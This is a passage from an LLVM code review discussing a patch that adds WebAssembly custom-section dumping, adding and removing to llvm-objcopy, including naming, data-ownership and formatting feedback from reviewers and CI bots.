#include <avr/io.h> #include <avr/interrupt.h> #include <avr/wdt.h> #include <util/delay.h> //Prepare LED pin void PortInit(void) { //Initlally LED ON PORTD|=(1<<PD2); //PD2 as output DDRD|=(1<<PD2); } //initialize watchdog void WDT_Init(void) { //disable interrupts cli(); //reset watchdog wdt_reset(); //set up WDT interrupt WDTCSR = (1<<WDCE)|(1<<WDE); //Start watchdog timer with 4s prescaller WDTCSR = (1<<WDIE)|(1<<WDE)|(1<<WDP3); //Enable global interrupts sei(); } //Watchdog timeout ISR ISR(WDT_vect) { //Burst of fice 0.1Hz pulses for (uint8_t i=0;i<4;i++) { //LED ON PORTD|=(1<<PD2); //~0.1s delay _delay_ms(20); //LED OFF PORTD&=~(1<<PD2); _delay_ms(80); } } int main (void) { //Initialize port PortInit(); //initialize watchdog WDT_Init(); //delay to detet reset _delay_ms(500); while(1) { //LED ON PORTD|=(1<<PD2); _delay_ms(20); //LED OFF PORTD&=~(1<<PD2); //~0.5s delay _delay_ms(500); } }
You can test this program with standard Arduino Duemilanove or Uno board by plugging LED between Digital 2 and GND pins:
Or you can use any AVR development board with modern AVR.
As you can see we enabled watchdog reset and interrupt modes almost without wdt.h library usage, because it doesn’t support interrupt mode programming yet. So we had to initialize by ourselves while following the rules. There is another watchdog library version developed by Curt Van Maanen. It can be downloaded here in case you decide to give a try.
And finally, if you decide to debug your programs with hardware debugger, be sure to disable watchdog timer as it runs on its clock source while the debugged program runs much slower than normal. You don’t want your application to be reset during any debugging step.
Pingback: Electronics-Lab.com Blog » Blog Archive » Using watchdog timer in your projects
Thank you for this. I was experiencing a lot of frustration until I saw this post.
Hi,
I have set the WDT very short time, so when arduino start it will reset agan and could not access it via usb any more…..
what can i Do?????
thanks
@wesam
use the following code
#include
void setup(){
wdt_reset(); // First thing, turn it off
wdt_disable();
Serial.begin(57600);
Serial.println(“Hello, in setup”);
}
void loop(){
}
have your adunio unpluged and start the upload. just before it finishes compiling plug it in.
This is how I fixed that watchdog issue.
in program above you have included wdt.h header file but you have written all function defination menually . By the way thanks for your tutorial .Really helpful to me 🙂 | https://embedds.com/using-watchdog-timer-in-your-projects/ | CC-MAIN-2020-24 | refinedweb | 1,113 | 64.51 |
10 AnswersNew Answer
public class IfElse{ public static void main(String[] args) { //defining a variable int number=13; //Check if the number is divisible by 2 or not if(number%2==0){ System.out.println("even number"); }else{ System.out.println("odd number"); } } }
4/20/2021 1:57:24 AMNaaz Hussain
10 AnswersNew Answer
Tell your excepted output because there is neither syntax nor logical errors
[No Name] please use respect amongst other community members .. They overtime as you get to know them can help you with questions and answers as they arise in your growth.
move the last } a little left then see
The code doesn't consists of any errors
Ok thanku 🙂
Maxamed Jamaal
Move bracket before else to line above. And I think your condition should be if(number%2=0) As you are checking the value. Idk, but otherwise correct. Now if you want to do extra then take Scanner class or any other util that will let you input values. If Scanner then do it like - int number = sc.nextInt(); Keep in mind sc is just a name and two statements should be entered before this. Check these out for more info -
Sololearn Inc.535 Mission Street, Suite 1591 | https://www.sololearn.com/Discuss/2759881/new-in-java-dont-know-where-the-error-is/ | CC-MAIN-2022-40 | refinedweb | 204 | 64.41 |
Deploying ML Models as API Using FastAPI and Heroku
This article was published as a part of the Data Science Blogathon
Introduction
Most of the machine learning projects are stuck in the Jupyter notebooks. These models may be the best-trained and well hyper-parametrized with promising results, but it is of no use until the model is exposed to real-world data and there are no users to test the model.
I will walk you through the process of Deploying a Machine Learning model as an API using FastAPI and Heroku. Things covered in this article:
- A quick introduction to the dataset and the model
- Basics of FastAPI
- How to structure the code to use the ML model
- How to test and fetch this API?
- Deployment to Heroku
- Bonus: Docs Generation
The Dataset and Model
The problem statement I have chosen for this article series is Music Genre Classification. The dataset has been compiled by a research group called The Echo Nest. It contains various technical details about the music. These include Acousticness, Danceability, Energy, Instrumentalness, Liveness, Speechiness, Tempo, and Valence. The target variable for this data is whether the song belongs to Rock or Hip-Hop genre. Here are some details about the dataset:
The track id served no purpose to our analysis and therefore it was dropped. The genre_top is our target variable and contains either “Rock” or “Hip-Hop”. I trained a decision tree classifier for this dataset and got a good precision score. (I didn’t try other ensemble models such as Random Forest but you can test it).
After you are done with tuning the model and testing it on random data, it’s time to pickle the model. Pickling is the process of converting a python object into a byte stream. It saves the model as a file so that it can be accessed/loaded later on. Here is the code for the same if you’re not familiar:
pkl_filename = 'model.pkl' with open(pkl_filename, 'wb') as f: pickle.dump(model, f)
Introduction to FastAPI
It is a web framework that accelerates the backend development of a website using Python. This framework is new, adaptive, and easy to learn. It allows users to quickly set up the API, generates automatic docs for all the endpoints, offers authentication, data validation, allows asynchronous code, and much more. It is developed over Starlette which is a lightweight ASGI framework/toolkit and provides production-ready code.
On the other hand, Flask is older than FastAPI but still in use for many projects. Its minimalistic approach is promising and building APIs using flask is also not so hard. Both the frameworks have their own pros and cons.
Check out this article for a detailed comparison FastAPI: The Right Replacement for Flask?
For deploying our Machine learning model, we will be using the FastAPI approach. Before I dive into the code for making the Model API, let’s understand some FastAPI basics that will help in understanding the codebase better.
Basics of FastAPI
The FastAPI code structure is very similar to the Flask app structure. You need to create endpoints where our client service can make requests and obtain the required data. See the basic code implementation below:
import uvicorn from fastapi import FastAPI app = FastAPI() @app.get('/') def index(): return {'message': "This is the home page of this API. Go to /apiv1/ or /apiv2/?name="} @app.get('/apiv1/{name}') def api1(name: str): return {'message': f'Hello! @{name}'} @app.get('/apiv2/') def api2(name: str): return {'message': f'Hello! @{name}'} if __name__ == '__main__': uvicorn.run(app, host='127.0.0.1', port=4000, debug=True)
- The first two lines import FastAPI and uvicorn. The Uvicorn is used for implementing the server and handling all the calls in Python.
- Next, a FastAPI app instance is created.
- To Add routes/endpoints to this app instance, a function is created and a route decorator is added. This decorator registers the function for the route defined so that when that particular route is requested, the function is called and its result is returned to the client. Generally, we return a JSON object so that it can be parsed in any language.
- The best part about FastAPI is that you can define these routes directly for HTTP methods. In the Flask, you need to manually add them to a list of methods (updated in flask 2.0).
- To get the inputs from the client, you can use Path parameters, Query parameters, or Request bodies. The route “/apiv1/{name}” implements a path-based approach where the parameters are passed as paths. The route “/apiv2/” implements a query-based approach where the parameters are passed by appending the “?” at the end of the URL and using “&” to add multiple parameters.
See these routes in action:
Request Body Approach
Using this approach, one can pass the data from the client to our API. In FastAPI, to simplify things, we use Pydantic models to define the data structure for the receiving data. The Pydantic does all the type checking for the parameters and returns explainable errors if the wrong type of parameter is received. Let’s add a data class to our existing code and create a route for the request body:
. . # After other imports from pydantic import BaseModel class Details(BaseModel): f_name: str l_name: str phone_number: int app = FastAPI() . . . # After old routes @app.post('/apiv3/') def api3(data: Details): return {'message': data}
The route function declares a parameter “data” of the type “Details” defined above. This “Details” model is inherited from the Pydantic base model and offers data validation. To test out this route, I am using thunder client VS code extension to make a post request to our API “/apiv3/” route:
Wrapping The Model
Now that we have cleared out concepts on FastAPI, it’s time to integrate the model into the FastAPI code structure of making prediction requests. We will create a “/prediction” route which will take the data sent by the client request body and our API will return the response as a JSON object containing the result. Let’s see the code first and then I will explain the mechanics:
import uvicorn import pickle from fastapi import FastAPI from pydantic import BaseModel class Music(BaseModel): acousticness: float danceability: float energy: float instrumentalness: float liveness: float speechiness: float tempo: float valence: float app = FastAPI() with open("./FastAPI Files/model.pkl", "rb") as f: model = pickle.load(f) @app.get('/') def index(): return {'message': 'This is the homepage of the API '} @app.post('/prediction') def get_music_category(data: Music): received = data.dict() acousticness = received['acousticness'] danceability = received['danceability'] energy = received['energy'] instrumentalness = received['instrumentalness'] liveness = received['liveness'] speechiness = received['speechiness'] tempo = received['tempo'] valence = received['valence'] pred_name = model.predict([[acousticness, danceability, energy, instrumentalness, liveness, speechiness, tempo, valence]]).tolist()[0] return {'prediction': pred_name} if __name__ == '__main__': uvicorn.run(app, host='127.0.0.1', port=4000, debug=True)
- We have created a Music Model class that defines all the parameters of our ML model. All the values are float type.
- Next, we are loading the model by unpickling it and saving the model as “model”. This model object will be used to get the predictions.
- The “/prediction” route function declares a parameter called “data” of the “Music” Model type. This parameter can be accessed as a dictionary. The dictionary object will allow us to access the values of the parameters as key-value pairs.
- Now, we are saving all the parameter values sent by the client. These values are now fed to the model predict function and we have our prediction for the data provided.
All the codes discussed in this article are available on my GitHub Repository.
Testing the Model API
Now it’s time for testing the API. You can test API via two methods:
Thunder client/Postman
We are using thunder client to send a post request to the “/prediction” route with a request body. The request body contains the key-value pairs of the parameters and we should expect a JSON response with the music genre classified.
Making Request using the request module
If you don’t want to use the VSCode extensions or any API testing software, then you can simply create a separate Python program to call this API. Requests module of Python makes it possible to call APIs.
import requests import json url = "<local-host-url>/prediction" payload = json.dumps({ "acousticness": 0.344719513, "danceability": 0.758067547, "energy": 0.323318405, "instrumentalness": 0.0166768347, "liveness": 0.0856723112, "speechiness": 0.0306624283, "tempo": 101.993, "valence": 0.443876228 }) headers = { 'Content-Type': 'application/json' } response = requests.request("POST", url, headers=headers, data=payload) print(response.text)
Replace the “local-host-url” with your URL which you get after running the FastAPI model API file. The output for this is:
Hurray! You have successfully created an API for your Machine Learning model using FastAPI.
Deployment to Heroku
Our API is all set to be used by any type of program that makes a call to our API. But you can’t run this program all day on your local system, that’s practically not possible. Therefore, you need to deploy your service to a cloud platform that can run your code and return the returns.
Heroku is one such platform that offers free hosting. To deploy our API to Heroku, we need to create these files:
- Requirements.txt: This file should list all the external modules you used in your application. For our case, it was FastAPI, scikit-learn, uvicorn, and some other helper modules.
- runtime.txt: This file specifies the Python version to be installed by Heroku on its end.
- Procfile: This file is the interface file between our Python code and the Heroku platform. Note: Most of you don’t create this file properly. It’s not a text file. This file has no extension. To create such files, you can use GitHub add files or Vs code or cmd in windows or terminal in Linux. This file would contain the following command for FastAPI:
web: gunicorn -w 4 -k uvicorn.workers.UvicornWorker :app
Here, replace the file_name with the name of the Python file where you created the FastAPI code. After this:
- Put all these files (Model, Python file, requirements.txt, Procfile) in a GitHub repo
- Login into Heroku and create a new app. Connect your GitHub repo
- Click on Deploy Branch and your API will be up and running for anyone to use with the link!
Bonus: Docs Generation
FastAPI has a special feature. It automatically generates docs for the API endpoints created. To access these docs, simply visit the “/docs” endpoint and you get a nice looking GUI created using Swagger and OpenAI. Now that we have deployed the service, the screenshot below is from the Heroku Deployed application. (Link:
Conclusion
In this detailed article, I introduced you to FastAPI, its basics, how to create the API file for the machine learning model, how to test this API, and how to deploy this API on the Heroku platform. We also saw how to access the docs endpoint which is automatically generated by FastAPI.
In the next article, I will show how to use the API made in this article to create an Android Music Prediction App using Python and we will also convert that Python file to APK!
Note: You can use this link, Master link to all my articles on Internet, which is updated every time I publish a new article to find that article.
If you have any doubts, queries, or potential opportunities, then you can reach out to me via
1. Linkedin – in/kaustubh-gupta/
2. Twitter – @Kaustubh1828
3. GitHub – kaustubhgupta
Leave a Reply Your email address will not be published. Required fields are marked * | https://www.analyticsvidhya.com/blog/2021/06/deploying-ml-models-as-api-using-fastapi-and-heroku/ | CC-MAIN-2022-21 | refinedweb | 1,958 | 65.01 |
Abstract
This Pace specifies a single
dateline element which gives the date and place of origin for an Atom entry.
Status
Open, Incomplete
Rationale
There is evident confusion on the existing dates; this will inevitably lead to interoperability issues. It also makes sense to optimize for the most common use case where the entries are created, issued and make available simultaneously and never modified.
Proposal
Remove sections 5.6 "atom:modified", 5.7 "atom:issued", and 5.8 "atom:created" Element.
Insert the following as a new section in their place:
Unless the following elements are also present from the
dcterms
namespace, this value is to be presumed as the the date that the entry was
created,
valid,
available,
issued,
modified,
accepted,
submitted. In other words, these values MUST be present if they differ from the value of atom:dateline. The value of the various dcterms dates MAY be empty, and if so, and the presense of such values is meant to be interpreted as unknown.
Informative note: many consumers depend on a notion of when the entry as last made available to indicate a sense of "freshness".
Impacts
This proposal removes the existing dates, and defines a new one.
Example
<entry xmlns="" xmlns: <title>PaceDateline</title> <link href=""/> <id></id> <dateline>2004-07-24T10:29:52-04:00</dateline> <dcterms:valid/> <dcterms:modified>2004-07-25T16:04:00-00:00</dcterms:modified> </entry>
Notes
At this time, the syntax for providing location information has not been fleshed out. A brief scan of prior art turned up
Semantic Web Developer Map: representing locations of people, research groups and projects. I must admit that I do find the notion of naming the three letter code of one's nearest airport as an intriguing idea - being both compact, readily available, and suitable for searches and comparison. Imagine feedster searches for the week of 2004 July 26 in
BOS and
PDX.
If the WG decides not to provide a means for capturing the place of origin, then a different element name should be chosen.
The presumption is that atom:dateline will be defined as a profile of ISO 8601, probably one that is compatible with both
W3CDTF and
RFC 3339. An issue to be worked is the need for support and/or guidance on how to represent dates for which the local time zone offset is not known.
A decision will need to be made as to whether or not this element also replaces the feed level atom:modified element. | http://www.intertwingly.net/wiki/pie/PaceDateline?action=raw | CC-MAIN-2017-47 | refinedweb | 417 | 51.99 |
This page is created to supply short directions and general tips for managing a Yii application in Codelobster PHP Edition.
Installing ¶
To run functional tests and unit tests in Yii, you need to install Yii framework with the help of Yii plugin at Codelobster
Install Yii
Open " Plugins – Yii – Create Project " and set the correct path to your future project.
Configure installation and install Yii
Usage:
- Run Yii project – open index.php file and Press F5
Code completion ¶
To get context sensitive code completion, follow these steps:
In your code, you'll most likely want to have code completion for class methods/properties for objects passed in the global namespace to "current" file your editing. For example, when a controller object is being passed into a view file. To have code completion in this case, just write code that you need and Pop-up completion list will help you to write code faster
For above and many more reasons, Yii core files should be kept outside project directory and anywhere outside any web-accessible directory. I.e. if you keep your project files in Apache's httpd directory, it is wise to create a new dir (called yii, framework or smth. help of the element: Place pointer on element and press F1
Debugging ¶
Codelobster configures debug setting by default at your system
To see your debug setting go to Tools – Preferences – Debugger – Settings
If you want you can change this settings
Usage:
Debug project: F5
F9 - Use breakpoints, walk through running code, and watch variables and objects in real-time.
If you have any questions, please ask in the forum instead. | https://www.yiiframework.com/wiki/244/free-php-ide-codelobster-supports-yii-framework | CC-MAIN-2018-26 | refinedweb | 271 | 50.3 |
>
I just very recently started working with Unity and only today found out about the Character Controller component.
So I immediately wanted to test it and initially liked it very much, however I am experiencing some issues with the skin width.
My issue is that my character has the skin width as an extra layer additional to his radius and height setting, but this alone could be solved by just substracting the skin width from the radius and height.
So the more weird thing is that when I move my char against a wall while just going directly into the direction of the wall it wall have a gap of exactly the amount that the skin width was set to - which I guess makes sense.
However when I move my character not directly into the wall, but while also going up/down (when the wall is e.g. to the left), my character can get closer to the wall.
I will show you an example:
Here you see that my character(which is the sphere) has an x position of ~-0.8, which makes sense, as the wall starts at -0.9 and the skin width is 0.1. (Also note that for the same reason my character is floating in the air by 0.1 units)
The next picture was taken with the same settings, I just pressed left, left+up, left+down alternating multiple times. Which resulted in:
Here you see that now my character has an x position of ~-0.897 which means he would be "inside" the wall if he actually had a skin with a width of 0.1
Also note that this picture was made when I was not pressing any buttons anymore, so no more movement was made, this was the permanent position of the character.
So now my issue is that if i make the radius and height of the character controller smaller (by the amount of the skin width), the character will have 0 distance to the wall when moving directly into its direction, but will get "inside it" if the player presses left+up or left+down. Which is just not acceptable.
It generally seems kind of odd that, you can get closer to the wall by pressing left + up/down that by just pressing left.
Can anyone help me and tell my what I should do to fix this issue?
The only thing that comes to my mind is that normally when objects collide, they push themselves away from each other - and so I could implement something that would push away my character from the wall if he gets "inside" it.
Just for the sake of completeness, here is my code:
public class GameInit : MonoBehaviour
{
private float moveSpeed = 1.0f;
private GameObject cube;
private CharacterController characterController;
// Use this for initialization
void Start()
{
//create characcter
cube = GameObject.CreatePrimitive(PrimitiveType.Sphere);
cube.name = "brown_cube";
cube.GetComponent<Renderer>().material.color = new Color(139f / 255, 69f / 255, 19f / 255);
characterController = cube.AddComponent<CharacterController>();
//set inital position of character
Vector3 pos = cube.GetComponent<Transform>().position;
pos.y = 1;
cube.GetComponent<Transform>().position = pos;
}
// Update is called once per frame
void Update()
{
Vector3 moveDirection = new Vector3(Input.GetAxis("Horizontal"), 0, Input.GetAxis("Vertical"));
characterController.SimpleMove(moveDirection * moveSpeed);
}
}
PS: I had the best experience when setting the skin width to 0 or a very small value like 0.001, but the Unity documentation explicitly states that one should not do this.
"It’s good practice to keep your Skin Width at least greater than 0.01 and more than 10% of the Radius."
"It’s good practice to keep your Skin Width at least greater than 0.01 and more than 10% of the.
Voxel engine physics 3rd person character controller
1
Answer
RigidBody Character Controller Bug
0
Answers
character gravity problem
1
Answer
Enable Phyics between CC and RB
0
Answers
Changing the landing and switch directions of standard assets TPC controller
0
Answers | https://answers.unity.com/questions/1477584/issue-with-character-controller-and-skin-width.html | CC-MAIN-2019-30 | refinedweb | 659 | 61.56 |
Hi all,
I'm having troubles getting only products who's data source fields match up with the current brand page the user is on show up. In the "Products" webapp, there is a data source field that links to the Brands webapp. The idea is to select a brand from that dropdown, and list the individual products that are marked with that brand on the particular brand page. Example: Product 1 is marked with Brand 1 and Product 2 is marked with Brand 2. So if I'm going to Brand 1's page, only products marked with Brand 1 should show up.
Here's a page that shows what I'm talking about:
Here's my HTML, inside of the Brand WebApp detail layout:
{module_webapps id="44839" filter="all" render="collection" collection="products" template =""}
<div class="col-md-8">
<h3>{{this.['Name']}}</h3>
<p>{{this.['Description']}}</p>
<hr>
<h3>Products</h3>
<div class="panel-group" id="accordion" role="tablist" aria-
{% for item in products.items -%}
{% if item.['Brand'] | strip_html == name -%}
<div class="panel panel-default">
<div class="panel-heading" role="tab" id="heading{{item.counter}}">
<h4 class="panel-title">
<a role="button" data-
{{item.['Name']}}
</a>
</h4>
</div>
<div id="collapse{{item.counter}}" class="panel-collapse collapse" role="tabpanel" aria-
<div class="panel-body">
{{item.['External Links']}}
</div>
</div>
</div>
{% endif -%}
{% endfor -%}
</div>
<a href="/brands" class="btn btn-default btn-sm">Back to Brands</a>
</div>
<div class="col-md-4">
<img src="{{this.['Logo']}}?Action=thumbnail&Width=300&Height=300&algorithm=fill_proportional" alt="{{this.['Name']}}" class="img-responsive">
</div>
Even though I'm passing the liquid conditional that only products with the same data source as the webapp name should show up, but Product 1 and 2 are showing up. I can't figure out what's wrong with my logic?
I actually just figured it out. The data source web app fields are using id numbers instead of text. I changed {% if item.['Brand'] | strip_html == name -%} to {% if item.['Brand_id'] | == itemId -%} to match the Brand data source to the Brand WebApp item ID.
Good you worked out your issue.
Some notes to help you as well:
{{this.['Description']}} - Do not need to do this all the time
{{Description}}
Your wrapper mode is for when you have words with spaces only. (IT is JSON output so the rules for that apply)
item.['Brand_id'] = Brand_id
The best way to see any layout or template output to know exactly what the objects and data output is:
<script>console.log({{this|json}});</script>
Viewing your browser console will give you the output you need.
When doing loops as well if you try do it in context it will help when and as you start doing bigger and more complex solutions.
for product in productlist.items etc
Hope that helps you further.
Thank you! That makes perfect sense and I'll make those changes to make everything look a little cleaner. I'm a bit new to liquid so I'm definitely trying to learn best practices.
Nothing wrong with being New, Just providing the info to help | https://forums.adobe.com/message/9468040 | CC-MAIN-2018-51 | refinedweb | 518 | 66.33 |
On Wed, Mar 9, 2011 at 8:26 AM, Alexandru Csete <address@hidden> wrote:On Wed, Mar 9, 2011 at 2:04 PM, I3VFJ <address@hidden> wrote:gr_filter_design.py can not find pyqt_filter.py
>
> Thanks Tom for quick response!
>
> Sorry, it was my mistake.... I miss the last 'make install' ...... too late
> in the night :(
> After double check next evening I'd found it, but no way....
>
> Now I get this :
>
> /usr/bin/python -u "/usr/local/bin/gr_filter_design.py"
> Could not import from pyqt_filter. Please build with "pyuic4 pyqt_filter.ui
> -o pyqt_filter.py"
>
> ...what's wrong ???
Quick fix:Quick fix:
> Launching that from shell ( via sudo... ) the answer is that is impossible
> to find pyqt_filter.ui.
> No sign of life with "find"... any suggestion ?
Edit /usr/local/bin/gr_filter_design.py at line 27 replace:
from pyqt_filter import Ui_MainWindow
with:
from gnuradio.pyqt_filter import Ui_MainWindow
Alternatively, you can execute it in the source tree (assuming that it
has been built and .ui compiled):
gr-utils/src/python/gr_filter_design.py
You will also find the pyqt_filter.ui there
Alex
Thanks, Alex, that should fix it for him. I would just run it out of gr-utils/src/python, so this was carelessness on my part when adding this utility to the installation. I will fix it later.
Tom | https://lists.gnu.org/archive/html/discuss-gnuradio/2011-03/msg00176.html | CC-MAIN-2016-36 | refinedweb | 217 | 62.14 |
I am writing an AppleScript which generates me an attendance MS Excel spreadsheet every month. I need to know how many days are current month, then go trought all month and decide if this days is or it is not a weekdays or holiday.
I suppose I would save holidays (from this web as table and access them locally) for this.
My question is:
The script bellow contains the 2 routines you're looking for : GetlastDay and isWorkingDay :
set myDate to current date -- just for example ! set N to GetlastDay(myDate) log N --> number of days in month of myDate set A to IsWorkingday(myDate) log A --> true if Monday to Friday, false if Saturday/Sunday on GetlastDay(LDate) -- return last day of month of LDate copy LDate to L -- to not change LDate set L's day to 32 -- = first day of next month set L to L - (1 * days) -- last day of month return day of L end GetlastDay on IsWorkingday(LDate) -- true if date is not Saturday or Sunday set SD to weekday of LDate return (SD is not in {"Saturday", "Sunday"}) end IsWorkingday | https://codedump.io/share/RmMzCgTeQTvZ/1/get-last-day-in-month-in-applescript-and-hollidays-in-current-moth | CC-MAIN-2016-50 | refinedweb | 187 | 51.86 |
iParticleEmitter Struct Reference
[Mesh plugins]
A particle emitter. More...
#include <imesh/particles.h>
Detailed Description
A particle emitter.
The particle emitters are responsible for adding new particles
Definition at line 254 of file particles.h.
Member Function Documentation
Clone this emitter.
Spawn new particles.
Get duration (in seconds) for this emitter.
Get emission rate in particles per second.
Get emitters enabled state.
Get initial mass for new particles.
Get initial time-to-live span.
Get the start time (in seconds).
Get number of particles this emitter wants to emit.
Set duration (in seconds) for this emitter.
By default emitters will emit particles infinitely, but by setting this you can make them stop a given number of seconds after they initiated emission. A negative duration is the same as infinite duration.
Set emission rate in particles per second.
Set emitters enabled state.
The emitter will only emit particles if enabled.
Set initial mass for new particles.
The emitter will assign a mass in the range specified.
Set initial time-to-live span. 1.4.1 by doxygen 1.7.1 | http://www.crystalspace3d.org/docs/online/api-1.4/structiParticleEmitter.html | CC-MAIN-2015-32 | refinedweb | 179 | 55.3 |
I would like to introduce my latest project that I have spent some time on developing in the last weeks. cldoc is a clang based documentation generator for C and C++. I started this project because I was not satisfied with the current state of documentation generators available for C++, and I thought it would be a fun little project (turns out it was fun, but not that little). What I was looking for is a generator which does not require any configuration or me writing a whole lot of special directives and instructions in my code. It should also be robust against complex C++ projects and not require me to tell it by hand how to interpret certain parts if its parser is too limited (hence using clang). Finally, I wanted a modern output, nice coverage reporting, integrated searching, simple deployment and integration.
I think cldoc addresses most (if not all) of these features in its current stage. Even if it’s still in the early stages of development, it’s pretty complete and seems to work well medium sized projects. I’m sure it’s not without bugs, but those can be fixed!
Features:
- Uses clang to robustly parse even the most complex C++ projects without additional effort from the user.
- Requires zero configuration.
- Uses markdown for documentation formatting.
- Generates an xml description of the API which can be reused for other purposes.
- Uses a simple format for documenting your code.
- Supports cross-referencing in documentation.
- Generates a single file, javascript based web application to render the documentation.
- Integrates seamlessly with your existing website.
- Lightning fast client-side searching using a pregenerated search index.
- Generates a formatted documentation coverage report and integrates it in the website.
I also wanted to detail here some of the development, since I always like to take the opportunity to use “modern” technology when starting a new project. The cldoc utility itself is a pretty plain and simple python application. Nothing particularly interesting about that. It uses the libclang python bindings to parse, scan and extract all necessary information. It then generates a set of xml pages describing fully the namespaces, types, methods, functions etc that were scanned. It also does some fancy cross-referencing and generates a suffix-array based search index in a json file. The search index is fetched on the client and traversed locally for very fast searching of documentation.
I had some more fun with the web application though. What I wanted was something with the following features:
- Easy to deploy
- Easy to integrate in an existing website
- Doing things on the client as much as possible
- Render the website from the generated xml
- Still allow exporting a static website instead of a dynamic one
As a result, the generated html file is really just a stub containing two containers. All the rest is done in javascript. For this project I went with coffeescript. I had played with it before, and it certainly has it quirks. The fact is though it does make me a lot more productive than writing javascript directly. Generating html is still a pain, but it’s shorter to write. Besides that I obviously use jQuery (can’t do anything without really), and showdown (a javascript markdown parser).
What the webapp basically does is fetch the xml page using AJAX and format/render it on the page. It then uses html5 history to implement navigating the documentation without actually going to another page. Navigation around simply fetches more xml pages and renders them. It caches the fetched xml and rendered html so things end up being pretty fast. One other neat thing is the implementation of local search. When a search is initiated, the search database is fetched from the server. This database is basicly a suffix array encoded in json. Currently it’s quite basic, it only indexes symbols. Then, a html5 webworker is started which does the actual searching, so that the browser is not blocked during this process. For medium sized projects, I don’t think there is any real need for this, but at least now it will scale pretty well. Search results are then communicated back to the main javascript thread and rendered.
One nice side effect of this implementation is that it becomes very easy to integrate the documentation with an existing website in an unobtrusive way. An existing website can simply add two containers to their html and load the js app. The rest of the website will still function normally. The only real issue currently would be that if the original website also uses html5 history, they will currently conflict. This is something to resolve in the near future. Another “issue” is that it’s very hard to separate css styles completely, especially if not designed as such from the start. The cldoc stylesheet will only apply styles to the cldoc containers, but of course, the containing website will still have styles which can cascade into the cldoc containers. Anyway, not my problem I guess :)
With regard to the last bullet point of my little list above, the whole website can also be generated statically quite easily. This is not implemented at this time, but the same javascript web app can be run on node.js without too much effort. Each page can then be rendered using the exact same app (using jsDOM) and then exported as a html file.
Well, that’s it for now. Please have a look at it and let me know what you think. The project is completely hosted on github. Website:, source:. | https://blogs.gnome.org/jessevdk/page/2/ | CC-MAIN-2018-26 | refinedweb | 932 | 64.2 |
Supports dumping, adding, and removing of named custom sections, but
nothing else yet.
This interface (owning the contents) is actually used in D70970, but not here; I'll move it to the next review.
For now I kept the naming ("contentsRef") the same. in the next review we can discuss the current approach (which is meant for moving the contents) vs. your suggested approach which would copy them.
You're right, it's a single byte in the spec; it doesn't make any difference if it's less than 128 and I think we are not 100% consistent in the tools code. But I fixed it here.
Actually the root problem here is that SectionData is totally misnamed. It's not actually the section payload at all, it's just the header, which does need to be computed from the final layout. (that's why it's a SmallVector). I think I originally had both headers and data and I must have renamed/eliminated the wrong name when I change it.
I just renamed it SectionHeader and it all hopefully makes more sense now.
In light of that, finalize does more than just compute the size, it generates the header as well, and as @sbc100 says, matches the way we use the term in the wasm backend and lld.
Thanks for your patience, a few more comments.
-o ?
well, for now it seems like it should be a struct (e.g. as in the comment above), because otherwise this looks a bit strange imo. (+ it looks like this "using" and the setter method would not be necessary).
since WasmObjectHeader is public i would convert this class into a struct as well / get rid of boilerplate code (getSections/addSections etc.)
So basically I'd keep it as simple & clear as possible, and if we need to add complexity we'll do it when/where it's required (and there it'll be easier to understand / judge what exactly is necessary).
I understand the concern here (and above) but I'd rather not completely refactor this class now, only to completely rewrite it back tomorrow (since I intend to finish up D70970 as soon as this patch lands). I don't think it makes sense to get rid of addSections given that we'll have removeSections soon, and removeSections is slightly nontrivial. I think the more useful question though is how to handle owned and non-owned section data, since in the next change we'll need to have both. I went ahead and rewrote Section for now, and I made the Object own the data (instead of the section) in the next patch so you can see what you think of that.
obj2yaml does not support the -o option.
Sections.insert(Sections.end(), NewSections.begin(), NewSections.end());
"public:" is unnecessary
Sections.push_back({WS.Type(), WS.Name, WS.Content});
I see, thank you for the additional context, the new name makes more sense,
but I'm still kinda curious - what are the advantages of keeping this around vs "writing on the fly" ?
the latter looks simpler + a little bit less code
+ regardless of the matter, i think the code which generates a SectionHeader for a given Section should be put into a helper function + it would be good to add a brief comment explaining the format + a link to the detailed specification (for those who will read this code in the future)
I think the reason it's split into a separate step is that because of the LEB128 encodings (ubiquitous in wasm), the size of the section isn't known until the encodings are done. Here it only shows up in header generation where the size includes the encoded length of the section name, but there are other cases (especially when dealing with relocations and instructions) where there are more LEBs that we might prefer to either leave encoded with extra bytes (for rewriting later) or compress to reduce binary size.
okay, thank you again for the patience, overall this looks cleaner to me
sorry, I didn't notice this before - but this is one reason why I wasn't a big fan of the proposed interface,
adding a section (or sections) always involves a copy.
For example, if vector<Section> Sections was just a public field of Object
(or Object was a struct (it still can have a method removeSections if necessary))
you would simply do the following:
Obj.Sections.reserve(WasmObj.sections().size());
for (SectionRef Sec : WasobObj.sections()) {
Sections.push_back(... );
}
Frankly speaking it still feels like addSections(...) doesn't buy us much. (and the same is true for getSections)
(+ please, apply clang-format --style=llvm to the diff (if not yet))
OK, made Sections a public member of Object.
I think all the feedback has now been addressed.
Unit tests: pass. 62116 tests passed, 0 failed and 808 were skipped.
clang-tidy: fail. clang-tidy found 0 errors and 4 warnings.
clang-format: pass.
Build artifacts: diff.json, clang-tidy.txt, clang-format.patch, CMakeCache.txt, console-log.txt, test-results.xml
clang-format: fail. Please format your changes with clang-format by running git-clang-format HEAD^ or applying this patch.
Hm, the bot seems to be using the wrong version of the patch.
clang-tidy: fail. clang-tidy found 0 errors and 1 warnings.
I've given this another quick once over, and made a few small comments. I'll try to take a more in-depth look tomorrow or early next week.
Missing trailing full stops on these two lines.
// static?
Not a big deal, but any particular reason you've called this generateSectionHeader instead of the shorter createSectionHender?
done (but these are intentionally not complete sentences).
This is just the common annotation indicating that generateSectionHeader is a static method. I added a blank line to make it more clear that it goes with the method definition rather than the block comment above.
No particular reason; habit from working on code generators I suppose. I changed it.
Unit tests: fail. 62112 tests passed, 5 failed and 807 were skipped.
failed: libc++.std/language_support/cmp/cmp_partialord/partialord.pass.cpp
failed: libc++.std/language_support/cmp/cmp_strongeq/cmp.strongeq.pass.cpp
failed: libc++.std/language_support/cmp/cmp_strongord/strongord.pass.cpp
failed: libc++.std/language_support/cmp/cmp_weakeq/cmp.weakeq.pass.cpp
failed: libc++.std/language_support/cmp/cmp_weakord/weakord.pass.cpp
clang-tidy: fail. clang-tidy found 0 errors and 1 warnings. 0 of them are added as review comments below (why?).
Pre-merge checks is in beta. Report issue. Please join beta or enable it for your project.
Is this using needed? You're already inside the wasm namespace.
Strictly speaking, basic copying isn't a flag! Perhaps simply "no flags are supported yet" or possibly "no flags are supported yet. Only basic copying is allowed".
I wonder whether this comment would make more sense in the header?
